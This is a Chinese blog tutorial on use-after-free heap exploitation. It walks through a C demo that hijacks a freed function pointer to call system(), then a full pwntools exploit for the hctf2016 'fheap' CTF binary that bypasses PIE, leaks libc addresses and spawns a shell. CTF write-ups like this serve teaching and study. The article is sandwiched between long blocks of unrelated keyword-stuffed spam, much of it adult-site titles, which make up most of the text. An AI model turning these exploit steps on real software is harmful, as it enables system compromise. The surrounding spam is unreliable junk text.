精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

逆向安全系列:Use After Free漏洞淺析

安全 漏洞
下面主要是用hctf的這道題來給大家講述game利用use after free的原理

[[181787]]

一、前言

想著接下來要寫一個use after free的小總結,剛好碰巧最近的湖湘杯2016的一題----game利用use after free可以解出來。這題是自己***次在比較正式的比賽中做出pwn題,做這題的時間花了不少,效率不高,但自己還是蠻開心的,后面回頭做hctf2016的fheap這題,也可以用uaf解出來,game這題題目的復雜度稍微高一點,描述起來有點難,下面主要是用hctf的這道題來給大家講述原理。對于uaf漏洞,搜了下,uaf漏洞在瀏覽器中存在很多,有興趣的同學可以自己去查查。

二、uaf原理

uaf漏洞產生的主要原因是釋放了一個堆塊后,并沒有將該指針置為NULL,這樣導致該指針處于懸空的狀態,同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。先上一段代碼給大家一個直觀印象再具體解釋。

  1. #include <stdio.h> 
  2. #include <stdlib.h> 
  3. typedef void (*func_ptr)(char *); 
  4. void evil_fuc(char command[]) 
  5. system(command); 
  6. void echo(char content[]) 
  7. printf("%s",content); 
  8. int main() 
  9. func_ptr *p1=(int*)malloc(4*sizeof(int)); 
  10. printf("malloc addr: %p\n",p1); 
  11. p1[3]=echo; 
  12. p1[3]("hello world\n"); 
  13. free(p1); //在這里free了p1,但并未將p1置空,導致后續可以再使用p1指針 
  14. p1[3]("hello again\n"); //p1指針未被置空,雖然free了,但仍可使用. 
  15. func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一塊內存后,再次申請同樣大小的指針會把剛剛釋放的內存分配出來. 
  16. printf("malloc addr: %p\n",p2); 
  17. printf("malloc addr: %p\n",p1);//p2與p1指針指向的內存為同一地址 
  18. p2[3]=evil_fuc; //在這里將p1指針里面保存的echo函數指針覆蓋成為了evil_func指針. 
  19. p1[3]("whoami"); 
  20. return 0; 

這段代碼在32位系統下執行。通過這段代碼可以大概將uaf的利用過程小結為以下過程:

1、申請一段空間,并將其釋放,釋放后并不將指針置為空,因此這個指針仍然可以使用,把這個指針簡稱為p1。

2、申請空間p2,由于malloc分配的過程使得p2指向的空間為剛剛釋放的p1指針的空間,構造惡意的數據將這段內存空間布局好,即覆蓋了p1中的數據。

3、利用p1,一般多有一個函數指針,由于之前已使用p2將p1中的數據給覆蓋了,所以此時的數據既是我們可控制的,即可能存在劫持函數流的情況。

三、hctf2016--fheap

uaf原理還比較簡單,下面就是具體的實踐了,這個漏洞復雜一些的話就和double free這些其他的堆的常見利用方法合起來一起出題,具體的可以看bctf2015的freenote。不過fheap這題用uaf直接就解決了。還有就是湖湘杯2016的game題,和fheap基本上是一樣的,這題大家跟出來了的話可以去做下game試下。先介紹fheap的功能。

A、程序功能

http://p9.qhimg.com/t01b46cefd558d1d0a1.png

程序提供的功能比較簡單,總共兩個功能:

1、create string

http://p9.qhimg.com/t013b79188c80312bfa.png

輸入create 后,接著輸入size,后輸入具體的字符串。相關的數據結構則是:先申請0x20字節的堆塊存儲結構,如果輸入的字符串長度大于0xf,則另外申請對應長度的空間存儲字符串,否則直接存儲在之前申請的0x20字節的前16字節處,在***,會將相關free函數的地址存儲在堆存儲結構的后八字節處。相關示意圖描繪如下:

程序功能create string

2、delete string

調用存儲在結構體里的free_func這個指針來釋放堆,由于在釋放以后沒有將指針置空,出現了釋放后仍可利用的現象,即uaf。

delete string

B、查看防護機制

首先查看開啟的安全機制

查看開啟的安全機制

可以看到開啟了PIE,在解題的過程中還需要繞過PIE,PIE是指代碼段的地址也會隨機化,不過低兩位的字節是固定的,利用這一點我們可以來泄露出程序的地址。

C、利用思路

總思路:首先是利用uaf,利用堆塊之間申請與釋放的步驟,形成對free_func指針的覆蓋。從而達到劫持程序流的目的。具體來說,先申請的是三個字符創小于0xf的堆塊,并將其釋放。此時fastbin中空堆塊的單鏈表結構如下左圖,緊接著再申請一個字符串長度為0x20的字符串,此時,申請出來的堆中的數據會如下右圖,此時后面申請出來的堆塊與之前申請出來的1號堆塊為同一內存空間,這時候輸入的數據就能覆蓋到1號堆塊中的free_func指針,指向我們需要執行的函數,隨后再調用1號堆塊的free_func函數,即實現了劫持函數流的目的。

利用uaf,利用堆塊之間申請與釋放的步驟

1、繞過PIE,在能劫持函數流之后,首先是泄露出程序的地址以繞過PIE,具體的方法是將free_func指針的***位覆蓋成"\x2d",變成去執行fputs函數,***變成去打印出free_func的地址,從而得到程序的基地址等。

http://p0.qhimg.com/t0103397379eb072246.png

2、泄露system函數地址,首先有了程序的地址后,可以得到printf函數的plt地址,從而想辦法在棧中部署數據,使用格式化字符串打印出我們需要的地址中的內容,使用DynELF模塊去泄露地址,具體可以看安全客之前有人寫的一篇文章---借助DynELF實現無libc的漏洞利用小結。從而泄露出system函數的地址。

3、執行system("/bin/sh")

最終調用system函數開啟shell。

D、最終exp

exp最終如下,里面還有部分注釋。

  1. from pwn import * 
  2. from ctypes import * 
  3. DEBUG = 1 
  4. if DEBUG: 
  5.      p = process('./fheap') 
  6. else: 
  7.      r = remote('172.16.4.93', 13025) 
  8. print_plt=0 
  9. def create(size,content): 
  10.     p.recvuntil("quit") 
  11.     p.send("create ") 
  12.     p.recvuntil("size:") 
  13.     p.send(str(size)+'\n') 
  14.     p.recvuntil('str:') 
  15.     p.send(content.ljust(size,'\x00')) 
  16.     p.recvuntil('\n')[:-1] 
  17. def delete(idx): 
  18.    p.recvuntil("quit") 
  19.    p.send("delete "+'\n') 
  20.    p.recvuntil('id:') 
  21.     p.send(str(idx)+'\n') 
  22.     p.recvuntil('sure?:') 
  23.     p.send('yes '+'\n') 
  24. def leak(addr): 
  25.     delete(0) 
  26.     #printf函數格式化字符串打印第九個參數地址中的數據,第九個剛好是輸入addr的位置 
  27.     data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt) 
  28.     create(0x20,data) 
  29.     p.recvuntil("quit") 
  30.     p.send("delete ") 
  31.     p.recvuntil('id:') 
  32.     p.send(str(1)+'\n') 
  33.     p.recvuntil('sure?:') 
  34.     p.send('yes01234'+p64(addr)) 
  35.     p.recvuntil('aa') 
  36.     data=p.recvuntil('####')[:-4] 
  37.     data += "\x00" 
  38.     return data 
  39. def pwn(): 
  40.     global print_plt 
  41.      create(4,'aa') 
  42.      create(4,'bb') 
  43.     create(4,'cc') 
  44.      delete(2) 
  45.     delete(1) 
  46.     delete(0) 
  47.     #申請三個堆塊,隨后刪除,從而在fastbin鏈表中形成三個空的堆塊 
  48.     #part1 覆蓋到fputs函數,繞過PIE 
  49.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆蓋,泄露出函數地址。 
  50.     create(0x20,data)#在這里連續創建兩個堆塊,從而使輸入的data與前面的塊1公用一塊內存。 
  51.     delete(1)#這里劫持函數程序流 
  52.     p.recvuntil('b'*0x8) 
  53.     data=p.recvuntil('1.')[:-2] 
  54.     if len(data)>8: 
  55.         datadata=data[:8] 
  56.     data=u64(data.ljust(8,'\x00'))-0xA000000000000 #這里減掉的數可能不需要,自行調整 
  57.      proc_base=data-0xd2d 
  58.     print "proc base",hex(proc_base) 
  59.     print_plt=proc_base+0x9d0 
  60.     print "print plt",hex(print_plt) 
  61.     delete(0) 
  62.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00' 
  63.     create(0x20,data) 
  64.     delete(1) 
  65.     p.recvuntil('b'*0x8) 
  66.     data=p.recvuntil('1.')[:-2] 
  67.     #part2 使用DynELF泄露system函數地址 
  68.      d = DynELF(leak, proc_base, elf=ELF('./fheap')) 
  69.     system_addr = d.lookup('system', 'libc') 
  70.     print "system_addr:", hex(system_addr) 
  71.      
  72.     #parts 執行system函數,開啟shell 
  73.     delete(0) 
  74.     data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) 
  75.     create(0x20,data) 
  76.     delete(1) 
  77.     p.interactive() 
  78.     #### 
  79.     #利用的方式總結為 
  80.     #delete(0),將申請出來的堆塊添入到fastbin中 
  81.     #create(0x20,data),連續申請兩個堆塊,數據覆蓋1堆中的free_func指針 
  82.      #delete(1)劫持函數流,調用我們覆蓋的指針處的地址 
  83.     ### 
  84.     if __name__ == '__main__': 
  85.             pwn() 

執行結果

四、小結

我感覺UAF最主要的是,在釋放了堆塊以后沒有將指針置空,后續過程中內存空間數據被覆蓋為其他數據后,該指針仍然可以正常使用該內存,從而導致數據的誤用。ctf題中容易碰見的是,釋放的堆塊中原本某個區域是用來存儲函數指針的,后面被惡意構造的數據覆蓋成其他地址實現了劫持函數流的目的,從而有可能就被pwn掉了。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2016-12-19 16:11:31

2019-02-12 09:52:20

Linux安全Windows

2015-08-10 10:04:28

2015-09-18 09:12:08

2019-12-11 10:16:15

數據安全隱私保護網絡安全

2016-10-31 13:52:52

戴爾

2009-03-10 13:18:56

2016-10-24 22:05:22

2009-07-01 20:49:06

2021-02-23 10:43:42

Facebook Ga

2023-12-13 18:33:17

2013-08-22 15:47:22

2022-11-24 13:17:43

2015-03-05 15:01:52

2011-04-06 13:39:18

2021-05-06 07:04:35

安全漏洞業務

2013-06-06 13:33:17

2015-05-08 12:11:14

2009-05-18 16:45:43

網絡安全DVLabs研討會

2011-03-23 10:19:28

點贊
收藏

51CTO技術棧公眾號

国产精品久久久久久久免费看| 瑟瑟视频在线观看| 牛牛电影国产一区二区| www国产精品av| 日韩免费中文字幕| 色哟哟一一国产精品| 伊人久久影院| 色成人在线视频| 特级黄色录像片| 色屁屁草草影院ccyycom| 日韩精品亚洲一区二区三区免费| 久久久999精品视频| 久久精品女同亚洲女同13| 成人免费av电影| 亚洲国产一区视频| 亚洲欧美日韩另类精品一区二区三区| 99在线精品视频免费观看软件| 一本色道久久综合亚洲精品不卡 | 欧美自拍丝袜亚洲| japanese在线播放| 成人欧美一区| 99在线精品一区二区三区| 国产欧美日韩亚洲精品| xxxx.国产| 欧美午夜电影在线观看 | 欧美性淫爽ww久久久久无| 999久久欧美人妻一区二区| 都市激情一区| 97成人超碰视| 成人羞羞视频免费| 国产精品久久久久久久久久久久久久久久久久 | 四虎精品欧美一区二区免费| 你懂的免费在线观看| 国产成人自拍网| 成人福利免费观看| 黄色网址中文字幕| 亚洲永久免费精品| 亚洲97在线观看| avove在线播放| 天天综合精品| 中文字幕亚洲一区| 麻豆精品免费视频| 亚洲精品进入| 国产午夜精品久久久| 中文字幕一区二区三区乱码不卡| 国产视频一区二| 欧美喷潮久久久xxxxx| 九九视频这里只有精品| 免费看黄色av| 免费不卡中文字幕在线| 亚洲黄色www网站| 日批免费观看视频| youjizz亚洲| 精品国产亚洲一区二区三区在线观看 | 亚洲三区在线播放| 成人禁用看黄a在线| y111111国产精品久久婷婷| 国产不卡av在线播放| 国产一区二区三区四区在线观看| 91精品久久久久久久久久| 亚洲一级视频在线观看| 美女一区二区视频| 国产综合久久久久久| 亚洲香蕉在线视频| 极品销魂美女一区二区三区| 成人欧美在线观看| 国产特黄一级片| 国产91精品在线观看| 国产高清一区二区三区| 色欲av伊人久久大香线蕉影院| 成人黄色av电影| 精品综合在线| 精品欧美不卡一区二区在线观看 | 中文字幕手机在线观看| 国内视频精品| 日本精品一区二区三区在线播放视频 | 天天干天天玩天天操| 欧美激情三区| 欧美不卡在线视频| 给我看免费高清在线观看| 精品视频国产| 欧美成人激情在线| 免费在线不卡视频| 美国十次了思思久久精品导航| 成人网中文字幕| 日韩在线视频免费| 中文无字幕一区二区三区| 日韩视频一二三| 乱馆动漫1~6集在线观看| 在线观看视频一区二区欧美日韩 | av动漫一区二区| 色视频一区二区三区| 91三级在线| 日韩欧美精品网址| 久久久久久久久久毛片| 欧美人妖在线观看| 色阁综合伊人av| 日韩av在线播放观看| 免费一级片91| 精品国产乱码久久久久| 在线观看黄av| 精品久久久久久久久久| 欧美美女一级片| 色狼人综合干| 欧美成人精品三级在线观看| 9i精品福利一区二区三区| 国产精品自拍网站| 日本10禁啪啪无遮挡免费一区二区| 国产精品一卡二卡三卡 | 97国产成人无码精品久久久| 成人污污视频在线观看| 亚洲午夜精品久久| 色戒汤唯在线| 日韩三级视频在线看| 五月天精品在线| 国产亚洲在线| 国产成人免费观看| 日韩毛片久久久| 日韩欧美国产黄色| 女性生殖扒开酷刑vk| 日韩在线欧美| 国产福利精品av综合导导航| 天堂av中文字幕| 亚洲精品视频免费看| jizz欧美激情18| 网曝91综合精品门事件在线| 欧美国产日韩一区二区三区| 91在线公开视频| 国产欧美一区二区精品仙草咪 | 国产高潮在线| 日韩精品专区在线影院重磅| 精品国产国产综合精品| 免费观看久久久4p| 日韩av在线一区二区三区| а√天堂8资源中文在线| 欧美本精品男人aⅴ天堂| 日本在线一级片| 精品一区二区三区不卡 | 91短视频版在线观看www免费| 精品久久久一区| 久久精品女同亚洲女同13| 在线精品在线| 国产一区二区三区四区hd| 久久电影网站| 亚洲精品在线电影| 日产欧产va高清| 成人av在线影院| www..com日韩| 欧美电影在线观看完整版| 高清视频欧美一级| 婷婷五月综合激情| 欧美性xxxx极品高清hd直播 | 国产精品久久久久久久久免费相片 | 91麻豆精品国产91久久久久久久久| 亚洲精品国产精品国自产网站| 乱人伦精品视频在线观看| 日本一区二区三区免费看| 欧美日一区二区三区| 中文字幕av一区中文字幕天堂 | 亚洲国产日韩欧美| 欧美黄色成人| 欧美成人自拍视频| 黄色成人一级片| 精品成人国产在线观看男人呻吟| 一起草在线视频| 久久蜜桃精品| 一区二区91美女张开腿让人桶| 九七电影院97理论片久久tvb| 中文字幕av一区二区| 99久久久国产精品无码免费| 亚洲一区日韩精品中文字幕| 国产xxxxxxxxx| 久久看片网站| 懂色av粉嫩av蜜臀av| 97超碰成人| 日本精品一区二区三区在线播放视频 | 九九久久免费视频| www.亚洲精品| 国产九九在线视频| 综合在线视频| 精品视频免费观看| 黑人一区二区三区| 欧美极品美女视频网站在线观看免费| 午夜18视频在线观看| 欧美亚洲国产一区二区三区| 黄色一级大片在线免费观看| www.视频一区| 91国产精品视频在线观看| 午夜久久久久| 欧美成人蜜桃| 久久中文字幕一区二区| 2025国产精品视频| 国产视频一区二区| 亚洲欧美精品伊人久久| 99国产精品一区二区三区| 黑丝美女久久久| 成人一级黄色大片| 91蝌蚪porny| 日韩欧美中文视频| 日韩精品久久久久久| 成人在线视频一区二区三区| 国产精品片aa在线观看| 成人国产1314www色视频| 欧美日韩精品免费观看视欧美高清免费大片| 久久精品国产亚洲7777| 男女视频在线观看免费| 日韩精品综合一本久道在线视频| 中文字幕日本视频| 午夜国产精品一区| 美女的奶胸大爽爽大片| 中文字幕久久午夜不卡| 人妻在线日韩免费视频| 国产尤物一区二区在线| 8x8x最新地址| 亚洲欧美日韩国产一区| 日韩极品视频在线观看| 999国产精品永久免费视频app| 久久综合一区| 8848成人影院| 91视频婷婷| 欧美高清影院| 国产精品一区二区性色av | 人妻少妇一区二区| 成人免费毛片片v| 三级黄色片免费看| 免费高清不卡av| 九九视频精品在线观看| 国产深夜精品| 久久久久久久午夜| 亚洲免费高清| 精品无码国模私拍视频| 一区在线视频| 精品少妇人欧美激情在线观看| 婷婷伊人综合| 中文字幕剧情在线观看一区| re久久精品视频| 日产国产精品精品a∨| 偷拍一区二区| 欧美日韩天天操| 亚洲素人在线| 日本视频一区在线观看| 国产99亚洲| 欧美人xxxxx| 国产一区二区三区四区大秀| 蜜桃视频日韩| 国产亚洲一区二区三区啪| 色99中文字幕| 色88久久久久高潮综合影院| 视频一区视频二区视频三区视频四区国产| 亚洲丝袜美腿一区| 神马影院一区二区| 日韩久久久久| dy888午夜| 欧美精选一区| 成人黄色av片| 久久天堂精品| 久草福利视频在线| 精一区二区三区| 国产xxxxhd| 粉嫩av一区二区三区在线播放| 国产一精品一aⅴ一免费| 成人av在线影院| 国产精品无码久久久久一区二区| 久久九九久久九九| 娇小11一12╳yⅹ╳毛片| 亚洲欧美日韩国产另类专区| 草视频在线观看| 亚洲v精品v日韩v欧美v专区| 国产精品人人人人| 欧洲精品在线观看| 国产理论片在线观看| 精品久久久久久无| 日本天堂影院在线视频| 在线看国产精品| 四虎影视成人| 青草成人免费视频| 国产精品白丝久久av网站| 国产精品一区二区在线观看| 亚洲系列另类av| 日韩人妻精品一区二区三区| 夜夜嗨一区二区| 无需播放器的av| 国产成人免费在线观看不卡| 无码熟妇人妻av| 亚洲视频中文字幕| 91精品国产乱码在线观看| 欧美性猛交xxxx乱大交退制版 | 99久久国产综合精品色伊| 四虎影成人精品a片| 日韩一区在线播放| 久久夜靖品2区| 欧美美女一区二区| 爱爱精品视频| 久久久久久久久久久av| 午夜影院在线观看国产主播| 国产精品人成电影| 亚洲视频一起| 亚欧洲精品在线视频免费观看| 欧美在线精品一区| 国产l精品国产亚洲区久久| 另类小说视频一区二区| 三级视频网站在线观看| 中文字幕第一区二区| 久久精品视频6| 欧美日韩五月天| 性xxxxbbbb| 欧美成人激情在线| 日韩精品免费观看视频| 国产欧美亚洲日本| 午夜激情久久| 一本久道综合色婷婷五月| 高清成人免费视频| 人与动物性xxxx| 色噜噜狠狠成人中文综合| 亚洲免费成人在线| 精品国产一区二区三区久久久| 忘忧草在线影院两性视频| 99在线国产| 五月综合激情| 国产又大又黄又粗又爽| 91免费国产在线| 国产稀缺真实呦乱在线| 日韩一区二区电影网| 欧美a免费在线| 国产精品欧美在线| 国产a久久精品一区二区三区| 日韩在线综合网| 国产.欧美.日韩| 久草视频免费在线播放| 9191久久久久久久久久久| av在线电影网| 国产精品久久久久av免费| 希岛爱理av免费一区二区| www污在线观看| 国产精品66部| 日韩一级片大全| 欧美剧在线免费观看网站| 福利视频在线看| 国产成人精品在线观看| 亚洲妇女av| 无码人妻丰满熟妇区毛片| 久久久国产综合精品女国产盗摄| 99精品视频99| 日韩福利在线播放| 亚洲最大成人| 欧美一区二区高清在线观看| 男人天堂欧美日韩| 久久视频精品在线观看| 欧美唯美清纯偷拍| 色影视在线观看| 91在线无精精品一区二区| 久久精品国内一区二区三区水蜜桃| 中文字幕第100页| ...av二区三区久久精品| 国产白浆在线观看| 国模精品系列视频| 亚洲调教一区| 亚洲欧美久久久久| 亚洲欧美日韩在线| 亚洲AV无码乱码国产精品牛牛| 欧美激情精品久久久久久免费印度 | 亚洲国产视频在线| 亚洲欧美激情国产综合久久久| 久久久久久久久国产| 欧美亚洲色图校园春色| 欧美色图色综合| 国产精品视频免费看| av网站免费播放| 韩国精品久久久999| 一区二区三区韩国免费中文网站| 色诱视频在线观看| 国产精品久久看| 亚洲精品字幕在线| 欧美一级淫片aaaaaaa视频| 精品日韩欧美一区| 69久久精品无码一区二区| 午夜精品在线看| youjizz在线播放| 97碰碰视频| 日韩精品一级二级| 精品欧美一区二区久久久久| 亚洲国产精品成人精品| 日本在线视频一区二区| 免费成人深夜夜行网站视频| 99久久精品国产网站| 中文字幕第31页| 久久久久久国产免费| 国产精品视频一区二区三区四蜜臂| 亚洲妇熟xx妇色黄蜜桃| 婷婷国产在线综合| 免费黄色网址在线观看| 精品国产一区二区三| 精品一区二区三区免费视频| 在线观看黄网站| 久久久精品在线观看| 亚洲人成网www| 欧美一级大片免费看| 欧美日韩在线播放一区| 超碰激情在线| 米仓穗香在线观看|